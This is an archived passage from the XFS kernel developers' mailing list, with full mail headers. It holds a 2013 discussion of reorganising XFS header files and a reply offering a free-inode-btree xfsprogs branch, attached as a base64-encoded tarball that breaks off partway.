RqOizFvzkFjaSugk for ; Fri, 06 Sep 2013 14:55:03 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqMGAI5OKlJ5LJ62/2dsb2JhbABbgweDR7lohTeBJRd0giQBAQQBOhwjBQsIAw4KCSUPBSUDIROHfAW+GBaPZgeEHQOXdIowhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl2.internode.on.net with ESMTP; 07 Sep 2013 07:25:02 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VI3zY-0005Bs-2q; Sat, 07 Sep 2013 07:55:00 +1000 Date: Sat, 7 Sep 2013 07:55:00 +1000 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h Message-ID: <20130906215459.GG12541@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: move buf_ops externs to a xfs_format.h References: <1378382015-16026-1-git-send-email-david@fromorbit.com> <1378382015-16026-2-git-send-email-david@fromorbit.com> <20130905190407.GA603@infradead.org> <20130905235412.GN12779@dastard> <20130906162701.GA9994@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130906162701.GA9994@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1378504503 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140400 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 06, 2013 at 09:27:01AM -0700, Christoph Hellwig wrote: > On Fri, Sep 06, 2013 at 09:54:12AM +1000, Dave Chinner wrote: > > Fair enough - I thought about that, but then realised we don't > > really have any "global" shared header files that fit this purpose. > > The only two really are xfs_fs.h - which is used for ioctl interface > > definitions - and xfs_types.h which is used for type definitions, > > not structure instances... > > > > So I'm not really sure where we'd put something like this without > > creating a new header file, and I don't really want to do that, > > either. > > We might need a new one, the headers still need major work anyway. > > If we start with > > xfs*_format.h - purely disk format > xfs_fs.h - ioctl and userspace ABI constants > > an > > xfs_shared.h > > and > xfs_kernel.h OK. I'm not a great fan of the "xfs_shared.h" name, I'll see if I can come up with something better.... > seem like logical additions to move most of the misc headers to instead > of all the silly ones for just a handful or two worth of prototypes. > > Note that a few non-format bits already sneaked into xfs_format.h > unfortunately, guess I need to watch more closely :) They did, for the same reason as I put these ones there. I'll move them to the "xfs_shared.h" once I create it.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bfoster@redhat.com Sat Sep 7 07:33:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4AEB17F58 for ; Sat, 7 Sep 2013 07:33:52 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 27D9C304062 for ; Sat, 7 Sep 2013 05:33:49 -0700 (PDT) X-ASG-Debug-ID: 1378557227-04cb6c2e9fe03570001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yLy85EK1oqgdKZcE for ; Sat, 07 Sep 2013 05:33:48 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r87CXj29006692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 7 Sep 2013 08:33:45 -0400 Received: from laptop.bfoster (vpn-62-208.rdu2.redhat.com [10.10.62.208]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r87CXiqN031596 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Sat, 7 Sep 2013 08:33:44 -0400 Message-ID: <522B1C4F.7000404@redhat.com> Date: Sat, 07 Sep 2013 08:30:07 -0400 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130805 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-11-git-send-email-bfoster@redhat.com> <20130905025421.GX23571@dastard> <5228AF00.7080700@redhat.com> <20130906002847.GR12779@dastard> <5229BEE6.3060407@redhat.com> <20130906212441.GB12541@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 10/11] xfs: update the finobt on inode free In-Reply-To: <20130906212441.GB12541@dastard> Content-Type: multipart/mixed; boundary="------------090408020604090702060900" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1378557228 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is a multi-part message in MIME format. --------------090408020604090702060900 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit On 09/06/2013 05:24 PM, Dave Chinner wrote: > On Fri, Sep 06, 2013 at 07:39:18AM -0400, Brian Foster wrote: >> On 09/05/2013 08:28 PM, Dave Chinner wrote: >>> On Thu, Sep 05, 2013 at 12:19:12PM -0400, Brian Foster wrote: >>>> On 09/04/2013 10:54 PM, Dave Chinner wrote: >>>>> On Tue, Sep 03, 2013 at 02:25:07PM -0400, Brian Foster wrote: >> ... >>>> ... >>> No worries. BTW, can you post your rudimentary userspace support so >>> we can run tests that use this code, too? >>> >> >> Sure. My xfsprogs branch currently is the application of a slightly >> older version of this set (pre-cleanups I made to make this post-worthy) >> with some hacks to make it apply/compile and a few other patches on top >> of that for mkfs, xfs_db and xfs_repair to work through some basic >> things I ran into when running xfstests. >> >> Would you prefer I drop the whole thing on the list? > > Drop it on the list, maybe just a as tarball rather than a patchset > if it's not ready for review yet. > Ok, attached. This applies on top of the following commit in the xfsprogs tree: 982e5c7e xfs_db: add header to freesp -d output Use the following command to format a finobt enabled fs: mkfs.xfs -m crc=1,finobt=1 ... and otherwise there are a couple random fixes for xfs_db and xfs_repair. Brian > Cheers, > > Dave. > --------------090408020604090702060900 Content-Type: application/x-bzip; name="xfsprogs_finobt_rfc.tar.bz2" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="xfsprogs_finobt_rfc.tar.bz2" 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 